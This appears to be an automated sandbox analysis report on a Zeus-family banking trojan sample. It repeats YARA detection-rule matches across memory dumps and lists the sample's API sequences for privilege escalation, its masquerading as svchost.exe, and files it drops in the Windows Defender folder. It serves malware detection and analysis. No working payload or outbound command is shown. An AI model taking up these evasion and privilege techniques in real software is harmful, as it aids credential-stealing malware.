    Source: 00000015.00000002.2115293020.0000000000E80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2193900284.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000023.00000002.2179197336.00000000026D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.1673194303.0000000000884000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2206176282.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2196280785.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0000001D.00000002.2151087320.0000000002FC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000019.00000002.2131001825.00000000024E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2152384775.000000000F2C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0000001B.00000002.2139139931.0000000001410000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000021.00000002.2179119548.00000000026B0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2195861902.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2202558433.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2197820580.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000027.00000002.2195203697.00000000026E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: 1fWgBXPgiT.exe PID: 7416, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: svchost.exe PID: 7436, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6644, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6400, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 7160, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 7104, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 7036, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6976, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6896, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6820, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6720, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6700, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6604, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6544, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6420, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6268, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 4268, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 7164, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1fWgBXPgiT.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
    Source: svchost.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
    Source: classification engineClassification label: mal100.bank.troj.spyw.expl.evad.winEXE@7/41@3178/27
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00401E00 GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,0_2_00401E00
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02715930 #680,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,5_2_02715930
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B35930 GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,6_2_00B35930
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026C5930 #680,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,9_2_026C5930
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022E5930 GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,13_2_022E5930
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010C5930 #680,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,16_2_010C5930
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00401CF0 Sleep,memset,CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,GetLastError,SwitchToThread,CreateToolhelp32Snapshot,GetHandleInformation,CloseHandle,Module32First,StrStrIA,Module32Next,StrStrIA,StrStrIA,Module32Next,0_2_00401CF0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00402680 CoInitializeEx,GetModuleFileNameW,SysAllocString,SysAllocString,SysAllocString,CoCreateInstance,CoCreateInstance,CoCreateInstance,SysFreeString,SysFreeString,SysFreeString,CoUninitialize,0_2_00402680
    Source: C:\Windows\apppatch\svchost.exeFile created: C:\Program Files (x86)\Windows Defender\lymyxid.comJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\login[1].htmJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMutant created: NULL
    Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7160
    Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6644
    Source: C:\Windows\apppatch\svchost.exeMutant created: \Sessions\1\BaseNamedObjects\D900D98Aa
    Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6400
    Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7104
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeFile created: C:\Users\user\AppData\Local\Temp\71C8.tmpJump to behavior
    Source: 1fWgBXPgiT.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: 1fWgBXPgiT.exeReversingLabs: Detection: 84%
    Source: 1fWgBXPgiT.exeString found in binary or memory: -help
